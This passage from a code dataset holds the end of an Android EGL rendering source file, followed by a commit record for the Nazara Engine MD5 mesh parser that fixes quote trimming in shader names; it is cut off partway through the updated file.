EGL_NO_SURFACE, EGL_NO_CONTEXT))\n                    Log(Log::Level::ERR) << \"Failed to unset EGL context\";\n\n                if (!eglDestroyContext(display, context))\n                    Log(Log::Level::ERR) << \"Failed to destroy EGL context\";\n\n                context = nullptr;\n            }\n\n            if (surface)\n            {\n                if (!eglDestroySurface(display, surface))\n                    Log(Log::Level::ERR) << \"Failed to destroy EGL surface\";\n\n                surface = nullptr;\n            }\n        }\n\n        void RenderDeviceOGLAndroid::present()\n        {\n            if (eglSwapBuffers(display, surface) != EGL_TRUE)\n                throw SystemError(\"Failed to swap buffers, error: \" + std::to_string(eglGetError()));\n        }\n\n        void RenderDeviceOGLAndroid::main()\n        {\n            setCurrentThreadName(\"Render\");\n\n            if (!eglMakeCurrent(display, surface, surface, context))\n                throw SystemError(\"Failed to set current EGL context, error: \" + std::to_string(eglGetError()));\n\n            while (running)\n            {\n                try\n                {\n                    process();\n                }\n                catch (const std::exception& e)\n                {\n                    Log(Log::Level::ERR) << e.what();\n                }\n                catch (...)\n                {\n                    Log(Log::Level::ERR) << \"Unknown error occurred\";\n                }\n            }\n\n            if (!eglMakeCurrent(display, EGL_NO_SURFACE, EGL_NO_SURFACE, EGL_NO_CONTEXT))\n                Log(Log::Level::ERR) << \"Failed to unset EGL context, error: \" << eglGetError();\n        }\n    } \/\/ namespace graphics\n} \/\/ namespace ouzel\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (C) 2022 Jérôme \"Lynix\" Leclercq (lynix680@gmail.com)\n\/\/ This file is part of the \"Nazara Engine - Utility module\"\n\/\/ For conditions of distribution and use, see copyright notice in Config.hpp\n\n#include <Nazara\/Utility\/Formats\/MD5MeshParser.hpp>\n#include <Nazara\/Core\/Error.hpp>\n#include <Nazara\/Core\/StringExt.hpp>\n#include <Nazara\/Utility\/Config.hpp>\n#include <cstdio>\n#include <memory>\n#include <Nazara\/Utility\/Debug.hpp>\n\nnamespace Nz\n{\n\tMD5MeshParser::MD5MeshParser(Stream& stream) :\n\tm_stream(stream),\n\tm_streamFlags(stream.GetStreamOptions()), \/\/< Saves stream flags\n\tm_keepLastLine(false),\n\tm_lineCount(0),\n\tm_meshIndex(0)\n\t{\n\t\tm_stream.EnableTextMode(true);\n\t}\n\n\tMD5MeshParser::~MD5MeshParser()\n\t{\n\t\t\/\/ Reset stream flags\n\t\tif ((m_streamFlags & StreamOption::Text) == 0)\n\t\t\tm_stream.EnableTextMode(false);\n\t}\n\n\tTernary MD5MeshParser::Check()\n\t{\n\t\tif (Advance(false))\n\t\t{\n\t\t\tunsigned int version;\n\t\t\tif (std::sscanf(&m_currentLine[0], \" MD5Version %u\", &version) == 1)\n\t\t\t{\n\t\t\t\tif (version == 10)\n\t\t\t\t\treturn Ternary::True;\n\t\t\t}\n\t\t}\n\n\t\treturn Ternary::False;\n\t}\n\n\tconst MD5MeshParser::Joint* MD5MeshParser::GetJoints() const\n\t{\n\t\treturn m_joints.data();\n\t}\n\n\tUInt32 MD5MeshParser::GetJointCount() const\n\t{\n\t\treturn static_cast<UInt32>(m_joints.size());\n\t}\n\n\tconst MD5MeshParser::Mesh* MD5MeshParser::GetMeshes() const\n\t{\n\t\treturn m_meshes.data();\n\t}\n\n\tUInt32 MD5MeshParser::GetMeshCount() const\n\t{\n\t\treturn static_cast<UInt32>(m_meshes.size());\n\t}\n\n\tbool MD5MeshParser::Parse()\n\t{\n\t\twhile (Advance(false))\n\t\t{\n\t\t\tswitch (m_currentLine[0])\n\t\t\t{\n\t\t\t\t#if NAZARA_UTILITY_STRICT_RESOURCE_PARSING\n\t\t\t\tcase 'M': \/\/ MD5Version\n\t\t\t\t\tif (!StartsWith(m_currentLine, \"MD5Version \"))\n\t\t\t\t\t\tUnrecognizedLine();\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase 'c': \/\/ commandline\n\t\t\t\t\tif (!StartsWith(m_currentLine, \"commandline \"))\n\t\t\t\t\t\tUnrecognizedLine();\n\t\t\t\t\tbreak;\n\t\t\t\t#endif\n\n\t\t\t\tcase 'j': \/\/ joints\n\t\t\t\t\t#if NAZARA_UTILITY_STRICT_RESOURCE_PARSING\n\t\t\t\t\tif (!StartsWith(m_currentLine, \"joints {\"))\n\t\t\t\t\t{\n\t\t\t\t\t\tUnrecognizedLine();\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\t#endif\n\n\t\t\t\t\tif (!ParseJoints())\n\t\t\t\t\t{\n\t\t\t\t\t\tError(\"Failed to parse joints\");\n\t\t\t\t\t\treturn false;\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase 'm': \/\/ mesh\n\t\t\t\t{\n\t\t\t\t\t#if NAZARA_UTILITY_STRICT_RESOURCE_PARSING\n\t\t\t\t\tif (!StartsWith(m_currentLine, \"mesh {\"))\n\t\t\t\t\t{\n\t\t\t\t\t\tUnrecognizedLine();\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\t#endif\n\n\t\t\t\t\tif (m_meshIndex >= m_meshes.size())\n\t\t\t\t\t{\n\t\t\t\t\t\t#if NAZARA_UTILITY_STRICT_RESOURCE_PARSING\n\t\t\t\t\t\tWarning(\"More meshes than registred\");\n\t\t\t\t\t\t#endif\n\n\t\t\t\t\t\tm_meshes.emplace_back();\n\t\t\t\t\t}\n\n\t\t\t\t\tif (!ParseMesh())\n\t\t\t\t\t{\n\t\t\t\t\t\tNazaraError(\"Failed to parse mesh\");\n\t\t\t\t\t\treturn false;\n\t\t\t\t\t}\n\n\t\t\t\t\tm_meshIndex++;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\tcase 'n': \/\/ num[Frames\/Joints]\n\t\t\t\t{\n\t\t\t\t\tunsigned int count;\n\t\t\t\t\tif (std::sscanf(&m_currentLine[0], \"numJoints %u\", &count) == 1)\n\t\t\t\t\t{\n\t\t\t\t\t\t#if NAZARA_UTILITY_STRICT_RESOURCE_PARSING\n\t\t\t\t\t\tif (!m_joints.empty())\n\t\t\t\t\t\t\tWarning(\"Joint count is already defined\");\n\t\t\t\t\t\t#endif\n\n\t\t\t\t\t\tm_joints.resize(count);\n\t\t\t\t\t}\n\t\t\t\t\telse if (std::sscanf(&m_currentLine[0], \"numMeshes %u\", &count) == 1)\n\t\t\t\t\t{\n\t\t\t\t\t\t#if NAZARA_UTILITY_STRICT_RESOURCE_PARSING\n\t\t\t\t\t\tif (!m_meshes.empty())\n\t\t\t\t\t\t\tWarning(\"Mesh count is already defined\");\n\t\t\t\t\t\t#endif\n\n\t\t\t\t\t\tm_meshes.resize(count);\n\t\t\t\t\t}\n\t\t\t\t\t#if NAZARA_UTILITY_STRICT_RESOURCE_PARSING\n\t\t\t\t\telse\n\t\t\t\t\t\tUnrecognizedLine();\n\t\t\t\t\t#endif\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\tdefault:\n\t\t\t\t\t#if NAZARA_UTILITY_STRICT_RESOURCE_PARSING\n\t\t\t\t\tUnrecognizedLine();\n\t\t\t\t\t#endif\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\treturn true;\n\t}\n\n\tbool MD5MeshParser::Advance(bool required)\n\t{\n\t\tif (!m_keepLastLine)\n\t\t{\n\t\t\tdo\n\t\t\t{\n\t\t\t\tif (m_stream.EndOfStream())\n\t\t\t\t{\n\t\t\t\t\tif (required)\n\t\t\t\t\t\tError(\"Incomplete MD5 file\");\n\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\n\t\t\t\tm_lineCount++;\n\n\t\t\t\tm_currentLine = m_stream.ReadLine();\n\n\t\t\t\tif (std::size_t p = m_currentLine.find(\"\/\/\"); p != m_currentLine.npos)\n\t\t\t\t{\n\t\t\t\t\tif (p > 0)\n\t\t\t\t\t\tm_currentLine = m_currentLine.substr(0, p - 1);\n\t\t\t\t\telse\n\t\t\t\t\t\tm_currentLine.clear();\n\t\t\t\t}\n\n\t\t\t\t\/\/ Trim left\n\t\t\t\tm_currentLine.erase(m_currentLine.begin(), std::find_if(m_currentLine.begin(), m_currentLine.end(), [](char c)\n\t\t\t\t{\n\t\t\t\t\treturn !std::isspace(c);\n\t\t\t\t}));\n\n\t\t\t\tif (m_currentLine.empty())\n\t\t\t\t\tcontinue;\n\t\t\t}\n\t\t\twhile (m_currentLine.empty());\n\t\t}\n\t\telse\n\t\t\tm_keepLastLine = false;\n\n\t\treturn true;\n\t}\n\n\tvoid MD5MeshParser::Error(const std::string& message)\n\t{\n\t\tNazaraError(message + \" at line #\" + std::to_string(m_lineCount));\n\t}\n\n\tbool MD5MeshParser::ParseJoints()\n\t{\n\t\tstd::size_t jointCount = m_joints.size();\n\t\tif (jointCount == 0)\n\t\t{\n\t\t\tError(\"Joint count is invalid or missing\");\n\t\t\treturn false;\n\t\t}\n\n\t\tfor (std::size_t i = 0; i < jointCount; ++i)\n\t\t{\n\t\t\tif (!Advance())\n\t\t\t\treturn false;\n\n\t\t\tstd::size_t pos = m_currentLine.find(' ');\n\t\t\tif (pos == std::string::npos)\n\t\t\t{\n\t\t\t\tUnrecognizedLine(true);\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\tif (pos >= 64)\n\t\t\t{\n\t\t\t\tNazaraError(\"Joint name is too long (>= 64 characters)\");\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\tchar name[64];\n\t\t\tif (std::sscanf(&m_currentLine[0], \"%63s %d ( %f %f %f ) ( %f %f %f )\", &name[0], &m_joints[i].parent,\n\t\t\t                                                                        &m_joints[i].bindPos.x, &m_joints[i].bindPos.y, &m_joints[i].bindPos.z,\n\t\t\t                                                                        &m_joints[i].bindOrient.x, &m_joints[i].bindOrient.y, &m_joints[i].bindOrient.z) != 8)\n\t\t\t{\n\t\t\t\tUnrecognizedLine(true);\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\tm_joints[i].name = Trim(name, '\"');\n\n\t\t\tInt32 parent = m_joints[i].parent;\n\t\t\tif (parent >= 0)\n\t\t\t{\n\t\t\t\tif (static_cast<std::size_t>(parent) >= jointCount)\n\t\t\t\t{\n\t\t\t\t\tError(\"Joint's parent is out of bounds (\" + std::to_string(parent) + \" >= \" + std::to_string(jointCount) + ')');\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tm_joints[i].bindOrient.ComputeW(); \/\/ On calcule la composante W\n\t\t}\n\n\t\tif (!Advance())\n\t\t\treturn false;\n\n\t\tif (m_currentLine != \"}\")\n\t\t{\n\t\t\t#if NAZARA_UTILITY_STRICT_RESOURCE_PARSING\n\t\t\tWarning(\"Hierarchy braces closing not found\");\n\t\t\t#endif\n\n\t\t\t\/\/ On tente de survivre à l'erreur\n\t\t\tm_keepLastLine = true;\n\t\t}\n\n\t\treturn true;\n\t}\n\n\tbool MD5MeshParser::ParseMesh()\n\t{\n\t\tbool finished = false;\n\t\twhile (!finished && Advance(false))\n\t\t{\n\t\t\tswitch (m_currentLine[0])\n\t\t\t{\n\t\t\t\tcase '}':\n\t\t\t\t\tfinished = true;\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase 's': \/\/ shader\n\t\t\t\t{\n\t\t\t\t\t#if NAZARA_UTILITY_STRICT_RESOURCE_PARSING\n\t\t\t\t\tif (!StartsWith(m_currentLine, \"shader \"))\n\t\t\t\t\t{\n\t\t\t\t\t\tUnrecognizedLine();\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\t#endif\n\n\t\t\t\t\tstd::string_view shader = m_currentLine;\n\t\t\t\t\tshader = shader.substr(7);\n\t\t\t\t\tif (shader.empty())\n\t\t\t\t\t{\n#if NAZARA_UTILITY_STRICT_RESOURCE_PARSING\n\t\t\t\t\t\tUnrecognizedLine();\n#endif\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\n\t\t\t\t\tif (shader.front() == '\"')\n\t\t\t\t\t\tshader.remove_prefix(1);\n\n\t\t\t\t\tif (shader.empty())\n\t\t\t\t\t{\n#if NAZARA_UTILITY_STRICT_RESOURCE_PARSING\n\t\t\t\t\t\tUnrecognizedLine();\n#endif\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\n\t\t\t\t\tif (shader.back() == '\"')\n\t\t\t\t\t\tshader.remove_prefix(1);\n\n\t\t\t\t\tm_meshes[m_meshIndex].shader = shader;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\tcase 'n': \/\/ num[tris\/verts]\n\t\t\t\t{\n\t\t\t\t\tunsigned int count;\n\t\t\t\t\tif (std::sscanf(&m_currentLine[0], \"numtris %u\", &count) == 1)\n\t\t\t\t\t{\n\t\t\t\t\t\tm_meshes[m_meshIndex].triangles.resize(count);\n\t\t\t\t\t\tfor (unsigned int i = 0; i < count; ++i)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif (!Advance())\n\t\t\t\t\t\t\t\treturn false;\n\n\t\t\t\t\t\t\tTriangle& triangle = m_meshes[m_meshIndex].triangles[i];\n\t\t\t\t\t\t\tunsigned int index;\n\t\t\t\t\t\t\tif (std::sscanf(&m_currentLine[0], \"tri %u %u %u %u\", &index, &triangle.x, &triangle.y, &triangle.z) != 4)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tUnrecognizedLine(true);\n\t\t\t\t\t\t\t\treturn false;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tif (index != i)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tError(\"Unexpected triangle index (expected \" + std::to_string(i) + \", got \" + std::to_string(index) + ')');\n\t\t\t\t\t\t\t\treturn false;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\telse if (std::sscanf(&m_currentLine[0], \"numverts %u\", &count) == 1)\n\t\t\t\t\t{\n\t\t\t\t\t\tm_meshes[m_meshIndex].vertices.resize(count);\n\t\t\t\t\t\tfor (unsigned int i = 0; i < count; ++i)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif (!Advance())\n\t\t\t\t\t\t\t\treturn false;\n\n\t\t\t\t\t\t\tVertex& vertex = m_meshes[m_meshIndex].vertices[i];\n\t\t\t\t\t\t\tunsigned int index;\n\t\t\t\t\t\t\tif (std::sscanf(&m_currentLine[0], \"vert %u ( %f %f ) %u %u\", &index, &vertex.uv.x, &vertex.uv.y, &vertex.startWeight, &vertex.weightCount) != 5)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tUnrecognizedLine(true);\n\t\t\t\t\t\t\t\treturn false;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tif (index != i)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tError(\"Unexpected vertex index (expected \" + std::to_string(i) + \", got \" + std::to_string(index) + ')');\n\t\t\t\t\t\t\t\treturn false;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\telse if (std::sscanf(&m_currentLine[0], \"numweights %u\", &count) == 1)\n\t\t\t\t\t{\n\t\t\t\t\t\tm_meshes[m_meshIndex].weights.resize(count);\n\t\t\t\t\t\tfor (unsigned int i = 0; i < count; ++i)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif (!Advance())\n\t\t\t\t\t\t\t\treturn false;\n\n\t\t\t\t\t\t\tWeight& weight = m_meshes[m_meshIndex].weights[i];\n\t\t\t\t\t\t\tunsigned int index;\n\t\t\t\t\t\t\tif (std::sscanf(&m_currentLine[0], \"weight %u %u %f ( %f %f %f )\", &index, &weight.joint, &weight.bias,\n\t\t\t\t\t\t\t                                                                   &weight.pos.x, &weight.pos.y, &weight.pos.z) != 6)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tUnrecognizedLine(true);\n\t\t\t\t\t\t\t\treturn false;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tif (index != i)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tError(\"Unexpected weight index (expected \" + std::to_string(i) + \", got \" + std::to_string(index) + ')');\n\t\t\t\t\t\t\t\treturn false;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t#if NAZARA_UTILITY_STRICT_RESOURCE_PARSING\n\t\t\t\t\telse\n\t\t\t\t\t\tUnrecognizedLine();\n\t\t\t\t\t#endif\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\tdefault:\n\t\t\t\t\t#if NAZARA_UTILITY_STRICT_RESOURCE_PARSING\n\t\t\t\t\tUnrecognizedLine();\n\t\t\t\t\t#endif\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\tif (m_meshes[m_meshIndex].triangles.empty())\n\t\t{\n\t\t\tNazaraError(\"Mesh has no triangles\");\n\t\t\treturn false;\n\t\t}\n\n\t\tif (m_meshes[m_meshIndex].vertices.empty())\n\t\t{\n\t\t\tNazaraError(\"Mesh has no vertices\");\n\t\t\treturn false;\n\t\t}\n\n\t\tif (m_meshes[m_meshIndex].weights.empty())\n\t\t{\n\t\t\tNazaraError(\"Mesh has no weights\");\n\t\t\treturn false;\n\t\t}\n\n\t\t#if NAZARA_UTILITY_STRICT_RESOURCE_PARSING\n\t\tif (!finished)\n\t\t\tWarning(\"Mesh braces closing not found\");\n\t\t#endif\n\n\t\treturn true;\n\t}\n\n\tvoid MD5MeshParser::Warning(const std::string& message)\n\t{\n\t\tNazaraWarning(message + \" at line #\" + std::to_string(m_lineCount));\n\t}\n\n\tvoid MD5MeshParser::UnrecognizedLine(bool error)\n\t{\n\t\tstd::string message = \"Unrecognized \\\"\" + m_currentLine + '\"';\n\n\t\tif (error)\n\t\t\tError(message);\n\t\telse\n\t\t\tWarning(message);\n}\n}\n<commit_msg>Utility\/MD5Mesh: Fix shader reading<commit_after>\/\/ Copyright (C) 2022 Jérôme \"Lynix\" Leclercq (lynix680@gmail.com)\n\/\/ This file is part of the \"Nazara Engine - Utility module\"\n\/\/ For conditions of distribution and use, see copyright notice in Config.hpp\n\n#include <Nazara\/Utility\/Formats\/MD5MeshParser.hpp>\n#include <Nazara\/Core\/Error.hpp>\n#include <Nazara\/Core\/StringExt.hpp>\n#include <Nazara\/Utility\/Config.hpp>\n#include <cstdio>\n#include <memory>\n#include <Nazara\/Utility\/Debug.hpp>\n\nnamespace Nz\n{\n\tMD5MeshParser::MD5MeshParser(Stream& stream) :\n\tm_stream(stream),\n\tm_streamFlags(stream.GetStreamOptions()), \/\/< Saves stream flags\n\tm_keepLastLine(false),\n\tm_lineCount(0),\n\tm_meshIndex(0)\n\t{\n\t\tm_stream.EnableTextMode(true);\n\t}\n\n\tMD5MeshParser::~MD5MeshParser()\n\t{\n\t\t\/\/ Reset stream flags\n\t\tif ((m_streamFlags & StreamOption::Text) == 0)\n\t\t\tm_stream.EnableTextMode(false);\n\t}\n\n\tTernary MD5MeshParser::Check()\n\t{\n\t\tif (Advance(false))\n\t\t{\n\t\t\tunsigned int version;\n\t\t\tif (std::sscanf(&m_currentLine[0], \" MD5Version %u\", &version) == 1)\n\t\t\t{\n\t\t\t\tif (version == 10)\n\t\t\t\t\treturn Ternary::True;\n\t\t\t}\n\t\t}\n\n\t\treturn Ternary::False;\n\t}\n\n\tconst MD5MeshParser::Joint* MD5MeshParser::GetJoints() const\n\t{\n\t\treturn m_joints.data();\n\t}\n\n\tUInt32 MD5MeshParser::GetJointCount() const\n\t{\n\t\treturn static_cast<UInt32>(m_joints.size());\n\t}\n\n\tconst MD5MeshParser::Mesh* MD5MeshParser::GetMeshes() const\n\t{\n\t\treturn m_meshes.data();\n\t}\n\n\tUInt32 MD5MeshParser::GetMeshCount() const\n\t{\n\t\treturn static_cast<UInt32>(m_meshes.size());\n\t}\n\n\tbool MD5MeshParser::Parse()\n\t{\n\t\twhile (Advance(false))\n\t\t{\n\t\t\tswitch (m_currentLine[0])\n\t\t\t{\n\t\t\t\t#if NAZARA_UTILITY_STRICT_RESOURCE_PARSING\n\t\t\t\tcase 'M': \/\/ MD5Version\n\t\t\t\t\tif (!StartsWith(m_currentLine, \"MD5Version \"))\n\t\t\t\t\t\tUnrecognizedLine();\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase 'c': \/\/ commandline\n\t\t\t\t\tif (!StartsWith(m_currentLine, \"commandline \"))\n\t\t\t\t\t\tUnrecognizedLine();\n\t\t\t\t\tbreak;\n\t\t\t\t#endif\n\n\t\t\t\tcase 'j': \/\/ joints\n\t\t\t\t\t#if NAZARA_UTILITY_STRICT_RESOURCE_PARSING\n\t\t\t\t\tif (!StartsWith(m_currentLine, \"joints {\"))\n\t\t\t\t\t{\n\t\t\t\t\t\tUnrecognizedLine();\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\t#endif\n\n\t\t\t\t\tif (!ParseJoints())\n\t\t\t\t\t{\n\t\t\t\t\t\tError(\"Failed to parse joints\");\n\t\t\t\t\t\treturn false;\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase 'm': \/\/ mesh\n\t\t\t\t{\n\t\t\t\t\t#if NAZARA_UTILITY_STRICT_RESOURCE_PARSING\n\t\t\t\t\tif (!StartsWith(m_currentLine, \"mesh {\"))\n\t\t\t\t\t{\n\t\t\t\t\t\tUnrecognizedLine();\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\t#endif\n\n\t\t\t\t\tif (m_meshIndex >= m_meshes.size())\n\t\t\t\t\t{\n\t\t\t\t\t\t#if NAZARA_UTILITY_STRICT_RESOURCE_PARSING\n\t\t\t\t\t\tWarning(\"More meshes than registred\");\n\t\t\t\t\t\t#endif\n\n\t\t\t\t\t\tm_meshes.emplace_back();\n\t\t\t\t\t}\n\n\t\t\t\t\tif (!ParseMesh())\n\t\t\t\t\t{\n\t\t\t\t\t\tNazaraError(\"Failed to parse mesh\");\n\t\t\t\t\t\treturn false;\n\t\t\t\t\t}\n\n\t\t\t\t\tm_meshIndex++;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\tcase 'n': \/\/ num[Frames\/Joints]\n\t\t\t\t{\n\t\t\t\t\tunsigned int count;\n\t\t\t\t\tif (std::sscanf(&m_currentLine[0], \"numJoints %u\", &count) == 1)\n\t\t\t\t\t{\n\t\t\t\t\t\t#if NAZARA_UTILITY_STRICT_RESOURCE_PARSING\n\t\t\t\t\t\tif (!m_joints.empty())\n\t\t\t\t\t\t\tWarning(\"Joint count is already defined\");\n\t\t\t\t\t\t#endif\n\n\t\t\t\t\t\tm_joints.resize(count);\n\t\t\t\t\t}\n\t\t\t\t\telse if (std::sscanf(&m_currentLine[0], \"numMeshes %u\", &count) == 1)\n\t\t\t\t\t{\n\t\t\t\t\t\t#if NAZARA_UTILITY_STRICT_RESOURCE_PARSING\n\t\t\t\t\t\tif (!m_meshes.empty())\n\t\t\t\t\t\t\tWarning(\"Mesh count is already defined\");\n\t\t\t\t\t\t#endif\n\n\t\t\t\t\t\tm_meshes.resize(count);\n\t\t\t\t\t}\n\t\t\t\t\t#if NAZARA_UTILITY_STRICT_RESOURCE_PARSING\n\t\t\t\t\telse\n\t\t\t\t\t\tUnrecognizedLine();\n\t\t\t\t\t#endif\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\tdefault:\n\t\t\t\t\t#if NAZARA_UTILITY_STRICT_RESOURCE_PARSING\n\t\t\t\t\tUnrecognizedLine();\n\t\t\t\t\t#endif\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\treturn true;\n\t}\n\n\tbool MD5MeshParser::Advance(bool required)\n\t{\n\t\tif (!m_keepLastLine)\n\t\t{\n\t\t\tdo\n\t\t\t{\n\t\t\t\tif (m_stream.EndOfStream())\n\t\t\t\t{\n\t\t\t\t\tif (required)\n\t\t\t\t\t\tError(\"Incomplete MD5 file\");\n\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\n\t\t\t\tm_lineCount++;\n\n\t\t\t\tm_currentLine = m_stream.ReadLine();\n\n\t\t\t\tif (std::size_t p = m_currentLine.find(\"\/\/\"); p != m_currentLine.npos)\n\t\t\t\t{\n\t\t\t\t\tif (p > 0)\n\t\t\t\t\t\tm_currentLine = m_currentLine.substr(0, p - 1);\n\t\t\t\t\telse\n\t\t\t\t\t\tm_currentLine.clear();\n\t\t\t\t}\n\n\t\t\t\t\/\/ Trim left\n\t\t\t\tm_currentLine.erase(m_currentLine.begin(), std::find_if(m_currentLine.begin(), m_currentLine.end(), [](char c)\n\t\t\t\t{\n\t\t\t\t\treturn !std::isspace(c);\n\t\t\t\t}));\n\n\t\t\t\tif (m_currentLine.empty())\n\t\t\t\t\tcontinue;\n\t\t\t}\n\t\t\twhile (m_currentLine.empty());\n\t\t}\n\t\telse\n\t\t\tm_keepLastLine = false;\n\n\t\treturn true;\n\t}\n\n\tvoid MD5MeshParser::Error(const std::string& message)\n\t{\n\t\tNazaraError(message + \" at line #\" + std::to_string(m_lineCount));\n\t}\n\n\tbool MD5MeshParser::ParseJoints()\n\t{\n\t\tstd::size_t jointCount = m_joints.size();\n\t\tif (jointCount == 0)\n\t\t{\n\t\t\tError(\"Joint count is invalid or missing\");\n\t\t\treturn false;\n\t\t}\n\n\t\tfor (std::size_t i = 0; i < jointCount; ++i)\n\t\t{\n\t\t\tif (!Advance())\n\t\t\t\treturn false;\n\n\t\t\tstd::size_t pos = m_currentLine.find(' ');\n\t\t\tif (pos == std::string::npos)\n\t\t\t{\n\t\t\t\tUnrecognizedLine(true);\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\tif (pos >= 64)\n\t\t\t{\n\t\t\t\tNazaraError(\"Joint name is too long (>= 64 characters)\");\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\tchar name[64];\n\t\t\tif (std::sscanf(&m_currentLine[0], \"%63s %d ( %f %f %f ) ( %f %f %f )\", &name[0], &m_joints[i].parent,\n\t\t\t                                                                        &m_joints[i].bindPos.x, &m_joints[i].bindPos.y, &m_joints[i].bindPos.z,\n\t\t\t                                                                        &m_joints[i].bindOrient.x, &m_joints[i].bindOrient.y, &m_joints[i].bindOrient.z) != 8)\n\t\t\t{\n\t\t\t\tUnrecognizedLine(true);\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\tm_joints[i].name = Trim(name, '\"');\n\n\t\t\tInt32 parent = m_joints[i].parent;\n\t\t\tif (parent >= 0)\n\t\t\t{\n\t\t\t\tif (static_cast<std::size_t>(parent) >= jointCount)\n\t\t\t\t{\n\t\t\t\t\tError(\"Joint's parent is out of bounds (\" + std::to_string(parent) + \" >= \" + std::to_string(jointCount) + ')');\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tm_joints[i].bindOrient.ComputeW(); \/\/ On calcule la composante W\n\t\t}\n\n\t\tif (!Advance())\n\t\t\treturn false;\n\n\t\tif (m_currentLine != \"}\")\n\t\t{\n\t\t\t#if NAZARA_UTILITY_STRICT_RESOURCE_PARSING\n\t\t\tWarning(\"Hierarchy braces closing not found\");\n\t\t\t#endif\n\n\t\t\t\/\/ On tente de survivre à l'erreur\n\t\t\tm_keepLastLine = true;\n\t\t}\n\n\t\treturn true;\n\t}\n\n\tbool MD5MeshParser::ParseMesh()\n\t{\n\t\tbool finished = false;\n\t\twhile (!finished && Advance(false))\n\t\t{\n\t\t\tswitch (m_currentLine[0])\n\t\t\t{\n\t\t\t\tcase '}':\n\t\t\t\t\tfinished = true;\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase 's': \/\/ shader\n\t\t\t\t{\n\t\t\t\t\t#if NAZARA_UTILITY_STRICT_RESOURCE_PARSING\n\t\t\t\t\tif (!StartsWith(m_currentLine, \"shader \"))\n\t\t\t\t\t{\n\t\t\t\t\t\tUnrecognizedLine();\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\t#endif\n\n\t\t\t\t\tstd::string_view shader = m_currentLine;\n\t\t\t\t\tshader = shader.substr(7);\n\t\t\t\t\tif (shader.empty())\n\t\t\t\t\t{\n#if NAZARA_UTILITY_STRICT_RESOURCE_PARSING\n\t\t\t\t\t\tUnrecognizedLine();\n#endif\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\n\t\t\t\t\tif (shader.front() == '\"')\n\t\t\t\t\t\tshader.remove_prefix(1);\n\n\t\t\t\t\tif (shader.empty())\n\t\t\t\t\t{\n#if NAZARA_UTILITY_STRICT_RESOURCE_PARSING\n\t\t\t\t\t\tUnrecognizedLine();\n#endif\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\n\t\t\t\t\tif (shader.back() == '\"')\n\t\t\t\t\t\tshader.remove_suffix(1);\n\n\t\t\t\t\tm_meshes[m_meshIndex].shader = shader;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\tcase 'n': \/\/ num[tris\/verts]\n\t\t\t\t{\n\t\t\t\t\tunsigned int count;\n\t\t\t\t\tif (std::sscanf(&m_currentLine[0], \"numtris %u\", &count) == 1)\n\t\t\t\t\t{\n\t\t\t\t\t\tm_meshes[m_meshIndex].triangles.resize(count);\n\t\t\t\t\t\tfor (unsigned int i = 0; i < count; ++i)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif (!Advance())\n\t\t\t\t\t\t\t\treturn false;\n\n\t\t\t\t\t\t\tTriangle& triangle = m_meshes[m_meshIndex].triangles[i];\n\t\t\t\t\t\t\tunsigned int index;\n\t\t\t\t\t\t\tif (std::sscanf(&m_currentLine[0], \"tri %u %u %u %u\", &index, 